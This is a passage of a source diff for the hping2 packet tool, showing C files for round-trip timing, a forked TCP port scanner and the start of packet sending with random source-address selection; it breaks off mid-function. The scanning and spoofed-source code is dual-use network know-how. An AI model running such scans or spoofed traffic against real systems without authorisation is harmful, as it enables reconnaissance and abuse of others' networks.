if (host) {
|
||||||
|
memcpy(&address->sin_addr, host->h_addr,
|
||||||
|
host->h_length);
|
||||||
|
} else {
|
||||||
|
perror("[resolve] Could not resolve address");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void resolve6 (struct sockaddr * addr, char *hostname)
|
||||||
|
{
|
||||||
|
struct sockaddr_in6 *address;
|
||||||
|
struct hostent *host;
|
||||||
|
|
||||||
|
address = (struct sockaddr_in6 *)addr;
|
||||||
|
|
||||||
|
memset(address, 0, sizeof(struct sockaddr_in6));
|
||||||
|
address->sin6_family = AF_INET6;
|
||||||
|
if(inet_pton(AF_INET6, hostname, &address->sin6_addr) < 1) {
|
||||||
|
host = gethostbyname2(hostname, AF_INET6);
|
||||||
|
if (host) {
|
||||||
|
memcpy(&address->sin6_addr, host->h_addr,
|
||||||
|
host->h_length);
|
||||||
|
} else {
|
||||||
|
herror("[resolve] Could not resolve address");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
99
rtt.c
Normal file
99
rtt.c
Normal file
@ -0,0 +1,99 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: rtt.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:49 MET 1999$
|
||||||
|
* $rev: 3$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <time.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
void minavgmax(float ms_delay)
|
||||||
|
{
|
||||||
|
static int avg_counter = 0;
|
||||||
|
|
||||||
|
if (rtt_min == 0 || ms_delay < rtt_min)
|
||||||
|
rtt_min = ms_delay;
|
||||||
|
if (rtt_max == 0 || ms_delay > rtt_max)
|
||||||
|
rtt_max = ms_delay;
|
||||||
|
avg_counter++;
|
||||||
|
rtt_avg = (rtt_avg*(avg_counter-1)/avg_counter)+(ms_delay/avg_counter);
|
||||||
|
}
|
||||||
|
|
||||||
|
int rtt(int *seqp, int recvport, float *ms_delay)
|
||||||
|
{
|
||||||
|
long sec_delay = 0, usec_delay = 0;
|
||||||
|
int i, tablepos = -1, status;
|
||||||
|
|
||||||
|
if (*seqp != 0) {
|
||||||
|
for (i = 0; i < TABLESIZE; i++)
|
||||||
|
if (delaytable[i].seq == *seqp) {
|
||||||
|
tablepos = i;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
for (i=0; i<TABLESIZE; i++)
|
||||||
|
if (delaytable[i].src == recvport) {
|
||||||
|
tablepos = i;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (i != TABLESIZE)
|
||||||
|
*seqp = delaytable[i].seq;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (tablepos != -1)
|
||||||
|
{
|
||||||
|
status = delaytable[tablepos].status;
|
||||||
|
delaytable[tablepos].status = S_RECV;
|
||||||
|
|
||||||
|
sec_delay = time(NULL) - delaytable[tablepos].sec;
|
||||||
|
usec_delay = get_usec() - delaytable[tablepos].usec;
|
||||||
|
if (sec_delay == 0 && usec_delay < 0)
|
||||||
|
usec_delay += 1000000;
|
||||||
|
|
||||||
|
*ms_delay = (sec_delay * 1000) + ((float)usec_delay / 1000);
|
||||||
|
minavgmax(*ms_delay);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
*ms_delay = 0; /* not in table.. */
|
||||||
|
status = 0; /* we don't know if it's DUP */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* SANITY CHECK */
|
||||||
|
if (*ms_delay < 0)
|
||||||
|
{
|
||||||
|
printf("\n\nSANITY CHECK in rtt.c FAILED!\n");
|
||||||
|
printf("- seqnum = %d\n", *seqp);
|
||||||
|
printf("- status = %d\n", status);
|
||||||
|
printf("- get_usec() = %ld\n", (long int) get_usec());
|
||||||
|
printf("- delaytable.usec = %ld\n",
|
||||||
|
(long int) delaytable[tablepos].usec);
|
||||||
|
printf("- usec_delay = %ld\n", usec_delay);
|
||||||
|
printf("- time(NULL) = %ld\n", (long int) time(NULL));
|
||||||
|
printf("- delaytable.sec = %ld\n",
|
||||||
|
(long int) delaytable[tablepos].sec);
|
||||||
|
printf("- sec_delay = %ld\n", sec_delay);
|
||||||
|
printf("- ms_delay = %f\n", *ms_delay);
|
||||||
|
printf("END SANITY CHECK REPORT\n\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
void delaytable_add(int seq, int src, time_t sec, time_t usec, int status)
|
||||||
|
{
|
||||||
|
delaytable[delaytable_index % TABLESIZE].seq = seq;
|
||||||
|
delaytable[delaytable_index % TABLESIZE].src = src;
|
||||||
|
delaytable[delaytable_index % TABLESIZE].sec = sec;
|
||||||
|
delaytable[delaytable_index % TABLESIZE].usec = usec;
|
||||||
|
delaytable[delaytable_index % TABLESIZE].status = status;
|
||||||
|
delaytable_index++;
|
||||||
|
}
|
||||||
|
|
548
scan.c
Normal file
548
scan.c
Normal file
@ -0,0 +1,548 @@
|
|||||||
|
/* Scanner mode for hping2
|
||||||
|
* Copyright(C) 2003 Salvatore Sanfilippo
|
||||||
|
* All rights reserved */
|
||||||
|
|
||||||
|
/* TODO:
|
||||||
|
* an application-level aware UDP scanner.
|
||||||
|
* add ICMP handling in replies.
|
||||||
|
* The algorithm is far from be optimal, also there isn't a clear
|
||||||
|
* way to delay smaller amounts of time then usleep(1) without
|
||||||
|
* to use a dummy loop.
|
||||||
|
* */
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#if 0
|
||||||
|
#include <sys/ipc.h>
|
||||||
|
#endif
|
||||||
|
#include <sys/shm.h>
|
||||||
|
#include <sys/sem.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <netdb.h>
|
||||||
|
#include <sys/time.h>
|
||||||
|
#include <signal.h>
|
||||||
|
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
|
||||||
|
#if 0
|
||||||
|
#if defined(__GNU_LIBRARY__) && !defined(_SEM_SEMUN_UNDEFINED)
|
||||||
|
/* union semun is defined by including <sys/sem.h> */
|
||||||
|
#else
|
||||||
|
/* according to X/OPEN we have to define it ourselves */
|
||||||
|
union semun {
|
||||||
|
int val; /* value for SETVAL */
|
||||||
|
struct semid_ds *buf; /* buffer for IPC_STAT, IPC_SET */
|
||||||
|
unsigned short int *array; /* array for GETALL, SETALL */
|
||||||
|
struct seminfo *__buf; /* buffer for IPC_INFO */
|
||||||
|
};
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
#include "hstring.h"
|
||||||
|
|
||||||
|
#define SEM_MODE 0777
|
||||||
|
#define MAXPORT 65535
|
||||||
|
|
||||||
|
int opt_scan_probes = 8;
|
||||||
|
float avrgms = 0;
|
||||||
|
int avrgcount = 0;
|
||||||
|
|
||||||
|
/* ---------------------------- data structures ----------------------------- */
|
||||||
|
|
||||||
|
/* Note that while we don't use any kind of locking, to access
|
||||||
|
* this fields is safe. the 'retry' field is only accessed by the
|
||||||
|
* sendinf half, while the 'active' field is set by the receiver
|
||||||
|
* and tested by the sender so atomicity isn't an issue. */
|
||||||
|
struct portinfo {
|
||||||
|
int active;
|
||||||
|
int retry;
|
||||||
|
time_t sentms; /* Upss... added this that requires locking, FIXME */
|
||||||
|
};
|
||||||
|
|
||||||
|
/* ------------------------- shared memory related -------------------------- */
|
||||||
|
|
||||||
|
static int id; /* shared memory id */
|
||||||
|
|
||||||
|
static int shm_creat(int size)
|
||||||
|
{
|
||||||
|
id = shmget(IPC_PRIVATE, size, IPC_CREAT | 0777);
|
||||||
|
if (id == -1)
|
||||||
|
{
|
||||||
|
perror("[shm_creat] shmget");
|
||||||
|
return -1; /* on error -1 */
|
||||||
|
}
|
||||||
|
return id; /* on success > 0 */
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *shm_attach(void)
|
||||||
|
{
|
||||||
|
void *shared;
|
||||||
|
|
||||||
|
shared = shmat(id, 0, 0);
|
||||||
|
if (shared == (void*) -1)
|
||||||
|
{
|
||||||
|
perror("[shm_attach] shmat");
|
||||||
|
return NULL; /* on error NULL */
|
||||||
|
}
|
||||||
|
return shared; /* on success the address */
|
||||||
|
}
|
||||||
|
|
||||||
|
static int shm_rm(void)
|
||||||
|
{
|
||||||
|
struct shmid_ds shmemds;
|
||||||
|
|
||||||
|
return shmctl(id, IPC_RMID, &shmemds);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int shm_detach(void *addr)
|
||||||
|
{
|
||||||
|
return shmdt(addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *shm_init(int size)
|
||||||
|
{
|
||||||
|
if (shm_creat(size) == -1)
|
||||||
|
return NULL;
|
||||||
|
return shm_attach();
|
||||||
|
}
|
||||||
|
|
||||||
|
static void shm_close(void *addr)
|
||||||
|
{
|
||||||
|
shm_detach(addr);
|
||||||
|
shm_rm();
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------ locking ---------------------------------- */
|
||||||
|
|
||||||
|
/* Note that a mutex can't be used with shared memory (on Linux), the only left
|
||||||
|
* option is a semaphore, but I tried to protect the critical code
|
||||||
|
* using the functions above: the scanner becomes too slow. For now
|
||||||
|
* it's better to have nothing at all, for the future we need something
|
||||||
|
* like a spinlock. (btw, note that the code should be safe on x86) */
|
||||||
|
|
||||||
|
/* I left this code here, just in the case it will be useful for testing */
|
||||||
|
#if 0
|
||||||
|
static int sem_init(void)
|
||||||
|
{
|
||||||
|
int semid, sem_key;
|
||||||
|
|
||||||
|
if ((sem_key = ftok("/tmp/hpingscansem", 1)) == -1) {
|
||||||
|
perror("ftok");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Semi-safe semaphore initialization from R.Stevens */
|
||||||
|
|
||||||
|
/* Try to create the semaphore with EXCL */
|
||||||
|
if ((semid = semget(sem_key, 1, IPC_CREAT|IPC_EXCL|SEM_MODE)) != -1) {
|
||||||
|
/* success, we need to initialize it */
|
||||||
|
union semun arg;
|
||||||
|
|
||||||
|
arg.val = 1;
|
||||||
|
if (semctl(semid, 0, SETVAL, arg) == -1) {
|
||||||
|
perror("semctl");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
} else if (errno == EEXIST) {
|
||||||
|
if ((semid = semget(sem_key, 1, SEM_MODE)) == -1) {
|
||||||
|
perror("semget");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
perror("semget");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
return semid;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int ports_lock(int semid)
|
||||||
|
{
|
||||||
|
struct sembuf op[1];
|
||||||
|
|
||||||
|
op[0].sem_num = 0;
|
||||||
|
op[0].sem_op = -1;
|
||||||
|
op[0].sem_flg = SEM_UNDO;
|
||||||
|
return semop(semid, op, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int ports_unlock(int semid)
|
||||||
|
{
|
||||||
|
struct sembuf op[1];
|
||||||
|
|
||||||
|
op[0].sem_num = 0;
|
||||||
|
op[0].sem_op = +1;
|
||||||
|
op[0].sem_flg = SEM_UNDO;
|
||||||
|
return semop(semid, op, 1);
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* -------------------------------- misc ----------------------------------- */
|
||||||
|
static char *tcp_strflags(char *s, unsigned int flags)
|
||||||
|
{
|
||||||
|
char *ftab = "FSRPAYXY", *p = s;
|
||||||
|
int bit = 0;
|
||||||
|
|
||||||
|
memset(s, '.', 8);
|
||||||
|
s[8] = '\0';
|
||||||
|
while(bit < 8) {
|
||||||
|
if (flags & (1 << bit))
|
||||||
|
p[bit] = ftab[bit];
|
||||||
|
bit++;
|
||||||
|
}
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
|
||||||
|
static char *port_to_name(int port)
|
||||||
|
{
|
||||||
|
struct servent *se;
|
||||||
|
|
||||||
|
se = getservbyport(htons(port), NULL);
|
||||||
|
if (!se)
|
||||||
|
return "";
|
||||||
|
else
|
||||||
|
return se->s_name;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ----------------------------- ports parsing ------------------------------ */
|
||||||
|
static int parse_ports(struct portinfo *pi, char *ports)
|
||||||
|
{
|
||||||
|
char *args[32], *p = strdup(ports);
|
||||||
|
int argc, j, i;
|
||||||
|
|
||||||
|
if (!p) {
|
||||||
|
fprintf(stderr, "Out of memory");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
argc = strftok(",", ports, args, 32);
|
||||||
|
for (j = 0; j < argc; j++) {
|
||||||
|
int neg = 0;
|
||||||
|
char *a = args[j];
|
||||||
|
|
||||||
|
/* ports negation */
|
||||||
|
if (a[0] == '!') {
|
||||||
|
neg = 1;
|
||||||
|
a++;
|
||||||
|
}
|
||||||
|
/* range */
|
||||||
|
if (strchr(a, '-')) {
|
||||||
|
char *range[2];
|
||||||
|
int low, high;
|
||||||
|
|
||||||
|
strftok("-", a, range, 2);
|
||||||
|
if (!strisnum(range[0]) || !strisnum(range[1]))
|
||||||
|
goto err; /* syntax error */
|
||||||
|
low = strtol(range[0], NULL, 0);
|
||||||
|
high = strtol(range[1], NULL, 0);
|
||||||
|
if (low > high) {
|
||||||
|
int t;
|
||||||
|
t = high;
|
||||||
|
high = low;
|
||||||
|
low = t;
|
||||||
|
}
|
||||||
|
for (i = low; i <= high; i++)
|
||||||
|
pi[i].active = !neg;
|
||||||
|
/* all the ports */
|
||||||
|
} else if (!strcmp(a, "all")) {
|
||||||
|
for (i = 0; i <= MAXPORT; i++)
|
||||||
|
pi[i].active = !neg;
|
||||||
|
/* /etc/services ports */
|
||||||
|
} else if (!strcmp(a, "known")) {
|
||||||
|
struct servent *se;
|
||||||
|
setservent(0);
|
||||||
|
while((se = getservent()) != NULL) {
|
||||||
|
int port = ntohs(se->s_port);
|
||||||
|
if (port < 0 || port > MAXPORT)
|
||||||
|
continue;
|
||||||
|
pi[port].active = !neg;
|
||||||
|
}
|
||||||
|
/* a single port */
|
||||||
|
} else {
|
||||||
|
int port;
|
||||||
|
if (!strisnum(a))
|
||||||
|
goto err; /* syntax error */
|
||||||
|
port = strtol(a, NULL, 0);
|
||||||
|
if (port < 0 || port > MAXPORT)
|
||||||
|
goto err; /* syntax error */
|
||||||
|
pi[port].active = !neg;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
free(p);
|
||||||
|
return 0;
|
||||||
|
err:
|
||||||
|
free(p);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* -------------------------------- output ---------------------------------- */
|
||||||
|
static void sender(struct portinfo *pi)
|
||||||
|
{
|
||||||
|
int i, retry = 0;
|
||||||
|
time_t start_time;
|
||||||
|
|
||||||
|
start_time = get_midnight_ut_ms();
|
||||||
|
|
||||||
|
while(1) {
|
||||||
|
int active = 0;
|
||||||
|
int recvd = 0;
|
||||||
|
retry ++;
|
||||||
|
for (i = 0; i < MAXPORT; i++) {
|
||||||
|
if (pi[i].active && pi[i].retry) {
|
||||||
|
active++;
|
||||||
|
pi[i].retry--;
|
||||||
|
sequence = -1;
|
||||||
|
dst_port = i;
|
||||||
|
pi[i].sentms = get_midnight_ut_ms();
|
||||||
|
send_tcp();
|
||||||
|
if (opt_waitinusec) {
|
||||||
|
if (usec_delay.it_interval.tv_usec)
|
||||||
|
usleep(usec_delay.it_interval.tv_usec);
|
||||||
|
} else {
|
||||||
|
sleep(sending_wait);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
avrgms = (float) pi[MAXPORT+1].active;
|
||||||
|
if (retry >= 3) {
|
||||||
|
if (opt_debug)
|
||||||
|
printf("AVRGMS %f\n", avrgms);
|
||||||
|
if (avrgms)
|
||||||
|
usleep((int) (avrgms*1000));
|
||||||
|
else
|
||||||
|
sleep(1);
|
||||||
|
}
|
||||||
|
for (i = 0; i < MAXPORT; i++) {
|
||||||
|
if (!pi[i].active && pi[i].retry)
|
||||||
|
recvd++;
|
||||||
|
}
|
||||||
|
/* More to scan? */
|
||||||
|
if (!active) {
|
||||||
|
if (!recvd)
|
||||||
|
sleep(1);
|
||||||
|
fprintf(stderr, "All replies received. Done.\n");
|
||||||
|
printf("Not responding ports: ");
|
||||||
|
for (i = 0; i < MAXPORT; i++) {
|
||||||
|
if (pi[i].active && !pi[i].retry)
|
||||||
|
printf("(%d %.11s) ", i, port_to_name(i));
|
||||||
|
}
|
||||||
|
printf("\n");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
/* Are we sending too fast? */
|
||||||
|
if ((!recvd && opt_waitinusec &&
|
||||||
|
usec_delay.it_interval.tv_usec == 0 &&
|
||||||
|
(get_midnight_ut_ms() - start_time) > 500) ||
|
||||||
|
(opt_scan_probes-retry) <= 2)
|
||||||
|
{
|
||||||
|
if (opt_debug)
|
||||||
|
printf("SLOWING DONW\n");
|
||||||
|
usec_delay.it_interval.tv_usec *= 10;
|
||||||
|
usec_delay.it_interval.tv_usec ++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* -------------------------------- input ---------------------------------- */
|
||||||
|
static void receiver(struct portinfo *pi, int childpid)
|
||||||
|
{
|
||||||
|
struct myiphdr ip;
|
||||||
|
char packet[IP_MAX_SIZE+linkhdr_size];
|
||||||
|
|
||||||
|
while(1)
|
||||||
|
{
|
||||||
|
int len, iplen;
|
||||||
|
|
||||||
|
len = read_packet(packet, IP_MAX_SIZE+linkhdr_size);
|
||||||
|
if (len == -1) {
|
||||||
|
perror("read_packet");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
/* minimal sanity checks */
|
||||||
|
if (len < linkhdr_size)
|
||||||
|
continue;
|
||||||
|
iplen = len - linkhdr_size;
|
||||||
|
if (iplen < sizeof(struct myiphdr))
|
||||||
|
continue;
|
||||||
|
/* copy the ip header in an access-safe place */
|
||||||
|
memcpy(&ip, packet+linkhdr_size, sizeof(ip));
|
||||||
|
/* check if the dest IP matches */
|
||||||
|
if (memcmp(&ip.daddr, &ADDR4(&local), sizeof(ip.daddr)))
|
||||||
|
continue;
|
||||||
|
/* check if the source IP matches */
|
||||||
|
if (ip.protocol != IPPROTO_ICMP &&
|
||||||
|
memcmp(&ip.saddr, &ADDR4(&remote), sizeof(ip.saddr)))
|
||||||
|
continue;
|
||||||
|
if (ip.protocol == IPPROTO_TCP) {
|
||||||
|
struct mytcphdr tcp;
|
||||||
|
int iphdrlen = ip.ihl << 2;
|
||||||
|
char flags[16];
|
||||||
|
time_t rttms;
|
||||||
|
int sport;
|
||||||
|
|
||||||
|
/* more sanity checks */
|
||||||
|
if ((iplen - iphdrlen) < sizeof(tcp))
|
||||||
|
continue;
|
||||||
|
/* time to copy the TCP header in a safe place */
|
||||||
|
memcpy(&tcp, packet+linkhdr_size+iphdrlen, sizeof(tcp));
|
||||||
|
|
||||||
|
/* check if the TCP dest port matches */
|
||||||
|
#if 0
|
||||||
|
printf("SRC: %d DST: %d\n",
|
||||||
|
ntohs(tcp.th_sport),
|
||||||
|
ntohs(tcp.th_dport));
|
||||||
|
#endif
|
||||||
|
if (ntohs(tcp.th_dport) != initsport)
|
||||||
|
continue;
|
||||||
|
sport = htons(tcp.th_sport);
|
||||||
|
if (pi[sport].active == 0)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
|
||||||
|
/* Note that we don't care about a wrote RTT
|
||||||
|
* result due to resend on the same port. */
|
||||||
|
rttms = get_midnight_ut_ms() - pi[sport].sentms;
|
||||||
|
|
||||||
|
avrgcount++;
|
||||||
|
avrgms = (avrgms*(avrgcount-1)/avrgcount)+(rttms/avrgcount);
|
||||||
|
/* The avrg RTT is shared using shared memory,
|
||||||
|
* no locking... */
|
||||||
|
pi[MAXPORT+1].active = (int) avrgms;
|
||||||
|
|
||||||
|
tcp_strflags(flags, tcp.th_flags);
|
||||||
|
#if 0
|
||||||
|
printf("%5d: %s %3d %5d %5d %10ld (%2d)\n",
|
||||||
|
sport,
|
||||||
|
flags,
|
||||||
|
ip.ttl,
|
||||||
|
ip.id,
|
||||||
|
ntohs(tcp.th_win),
|
||||||
|
(long) rttms,
|
||||||
|
opt_scan_probes-(pi[sport].retry));
|
||||||
|
#endif
|
||||||
|
if ((tcp.th_flags & TH_SYN) || opt_verbose) {
|
||||||
|
printf("%5d %-11.11s: %s %3d %5d %5d\n",
|
||||||
|
sport,
|
||||||
|
port_to_name(sport),
|
||||||
|
flags,
|
||||||
|
ip.ttl,
|
||||||
|
ip.id,
|
||||||
|
ntohs(tcp.th_win));
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
pi[sport].active = 0;
|
||||||
|
} else if (ip.protocol == IPPROTO_ICMP) {
|
||||||
|
struct myicmphdr icmp;
|
||||||
|
struct myiphdr subip;
|
||||||
|
struct mytcphdr subtcp;
|
||||||
|
int iphdrlen = ip.ihl << 2;
|
||||||
|
unsigned char *p;
|
||||||
|
int port;
|
||||||
|
struct in_addr gwaddr;
|
||||||
|
|
||||||
|
/* more sanity checks, we are only interested
|
||||||
|
* in ICMP quoting the original packet. */
|
||||||
|
if ((iplen - iphdrlen) < sizeof(icmp)+sizeof(subip)+sizeof(subtcp))
|
||||||
|
continue;
|
||||||
|
/* time to copy headers in a safe place */
|
||||||
|
p = packet+linkhdr_size+iphdrlen;
|
||||||
|
memcpy(&icmp, p, sizeof(subtcp));
|
||||||
|
p += sizeof(icmp);
|
||||||
|
memcpy(&subip, p, sizeof(ip));
|
||||||
|
p += sizeof(ip);
|
||||||
|
memcpy(&subtcp, p, sizeof(subtcp));
|
||||||
|
|
||||||
|
/* Check if the ICMP quoted packet matches */
|
||||||
|
/* check if the source IP matches */
|
||||||
|
if (memcmp(&subip.saddr, &ADDR4(&local), sizeof(subip.saddr)))
|
||||||
|
continue;
|
||||||
|
/* check if the destination IP matches */
|
||||||
|
if (memcmp(&subip.daddr, &ADDR4(&remote), sizeof(subip.daddr)))
|
||||||
|
continue;
|
||||||
|
/* check if the quoted TCP packet port matches */
|
||||||
|
if (ntohs(subtcp.th_sport) != initsport)
|
||||||
|
continue;
|
||||||
|
port = htons(subtcp.th_dport);
|
||||||
|
if (pi[port].active == 0)
|
||||||
|
continue;
|
||||||
|
pi[port].active = 0;
|
||||||
|
memcpy(&gwaddr.s_addr, &ip.saddr, 4);
|
||||||
|
printf("%5d: %3d %5d (ICMP %3d %3d from %s)\n",
|
||||||
|
port,
|
||||||
|
ip.ttl,
|
||||||
|
ntohs(ip.id),
|
||||||
|
icmp.type,
|
||||||
|
icmp.code,
|
||||||
|
inet_ntoa(gwaddr));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---------------------------------- main ---------------------------------- */
|
||||||
|
static void do_exit(int sid)
|
||||||
|
{
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
void scanmain(void)
|
||||||
|
{
|
||||||
|
struct portinfo *pi;
|
||||||
|
int ports = 0, i;
|
||||||
|
int childpid;
|
||||||
|
|
||||||
|
pi = shm_init(sizeof(*pi)*(MAXPORT+2));
|
||||||
|
pi[MAXPORT+1].active = 0; /* hold the average RTT */
|
||||||
|
if (pi == NULL) {
|
||||||
|
fprintf(stderr, "Unable to create the shared memory");
|
||||||
|
shm_close(pi);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
for (i = 0; i <= MAXPORT; i++) {
|
||||||
|
pi[i].active = 0;
|
||||||
|
pi[i].retry = opt_scan_probes;
|
||||||
|
}
|
||||||
|
if (parse_ports(pi, opt_scanports)) {
|
||||||
|
fprintf(stderr, "Ports syntax error for scan mode\n");
|
||||||
|
shm_close(pi);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
for (i = 0; i <= MAXPORT; i++) {
|
||||||
|
if (!pi[i].active)
|
||||||
|
pi[i].retry = 0;
|
||||||
|
}
|
||||||
|
for (i = 0; i <= MAXPORT; i++)
|
||||||
|
ports += pi[i].active;
|
||||||
|
fprintf(stderr, "%d ports to scan, use -V to see all the replies\n", ports);
|
||||||
|
fprintf(stderr, "+----+-----------+---------+---+-----+-----+\n");
|
||||||
|
fprintf(stderr, "|port| serv name | flags |ttl| id | win |\n");
|
||||||
|
fprintf(stderr, "+----+-----------+---------+---+-----+-----+\n");
|
||||||
|
|
||||||
|
/* We are ready to fork, the input and output parts
|
||||||
|
* are separated processes */
|
||||||
|
if ((childpid = fork()) == -1) {
|
||||||
|
perror("fork");
|
||||||
|
shm_close(pi);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
/* The parent is the receiver, the child the sender.
|
||||||
|
* it's almost the same but this way is simpler
|
||||||
|
* to make it working in pipe with other commands like grep. */
|
||||||
|
if (childpid) { /* parent */
|
||||||
|
Signal(SIGCHLD, do_exit);
|
||||||
|
Signal(SIGINT, do_exit);
|
||||||
|
Signal(SIGTERM, do_exit);
|
||||||
|
receiver(pi, childpid);
|
||||||
|
} else { /* child */
|
||||||
|
Signal(SIGINT, do_exit);
|
||||||
|
Signal(SIGTERM, do_exit);
|
||||||
|
sender(pi);
|
||||||
|
}
|
||||||
|
/* UNREACHED */
|
||||||
|
}
|
239
send.c
Normal file
239
send.c
Normal file
@ -0,0 +1,239 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: sendudp.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:49 MET 1999$
|
||||||
|
* $rev: 8$
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* $Id: send.c,v 1.6 2003/08/01 14:53:08 antirez Exp $ */
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <sys/time.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <errno.h>
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
#ifndef INET6_ADDRSTRLEN
|
||||||
|
#define INET6_ADDRSTRLEN sizeof("ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255")
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static void select_next_random_source(void)
|
||||||
|
{
|
||||||
|
unsigned char ra[4];
|
||||||
|
|
||||||
|
ra[0] = hp_rand() & 0xFF;
|
||||||
|
ra[1] = hp_rand() & 0xFF;
|
||||||
|
ra[2] = hp_rand() & 0xFF;
|
||||||
|
ra[3] = hp_rand() & 0xFF;
|
||||||
|
memcpy(&ADDR4(&local).s_addr, ra, 4);
|
||||||
|
|
||||||
|
if (opt_debug)
|
||||||
|
printf("DEBUG: the source address is %u.%u.%u.%u\n",
|
||||||
|
ra[0], ra[1], ra[2], ra[3]);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void select_next_random_ipv6_source(void)
|
||||||
|
{
|
||||||
|
unsigned char ra[16];
|
||||||
|
|
||||||
|
ra[0] = hp_rand() & 0xFF;
|
||||||
|
ra[1] = hp_rand() & 0xFF;
|
||||||
|
ra[2] = hp_rand() & 0xFF;
|
||||||
|
ra[3] = hp_rand() & 0xFF;
|
||||||
|
ra[4] = hp_rand() & 0xFF;
|
||||||
|
ra[5] = hp_rand() & 0xFF;
|
||||||
|
ra[6] = hp_rand() & 0xFF;
|
||||||
|
ra[7] = hp_rand() & 0xFF;
|
||||||
|
ra[8] = hp_rand() & 0xFF;
|
||||||
|
ra[9] = hp_rand() & 0xFF;
|
||||||
|
ra[10] = hp_rand() & 0xFF;
|
||||||
|
ra[11] = hp_rand() & 0xFF;
|
||||||
|
ra[12] = hp_rand() & 0xFF;
|
||||||
|
ra[13] = hp_rand() & 0xFF;
|
||||||
|
ra[14] = hp_rand() & 0xFF;
|
||||||
|
ra[15] = hp_rand() & 0xFF;
|
||||||
|
memcpy(&ADDR6(&local).s6_addr, ra, 16);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
static void select_next_random_ipv6_dest(void)
|
||||||
|
{
|
||||||
|
unsigned char ra[16];
|
||||||
|
|
||||||
|
ra[0] = hp_rand() & 0xFF;
|
||||||
|
ra[1] = hp_rand() & 0xFF;
|
||||||
|
ra[2] = hp_rand() & 0xFF;
|
||||||
|
ra[3] = hp_rand() & 0xFF;
|
||||||
|
ra[4] = hp_rand() & 0xFF;
|
||||||
|
ra[5] = hp_rand() & 0xFF;
|
||||||
|
ra[6] = hp_rand() & 0xFF;
|
||||||
|
ra[7] = hp_rand() & 0xFF;
|
||||||
|
ra[8] = hp_rand() & 0xFF;
|
||||||
|
ra[9] = hp_rand() & 0xFF;
|
||||||
|
ra[10] = hp_rand() & 0xFF;
|
||||||
|
ra[11] = hp_rand() & 0xFF;
|
||||||
|
ra[12] = hp_rand() & 0xFF;
|
||||||
|
ra[13] = hp_rand() & 0xFF;
|
||||||
|
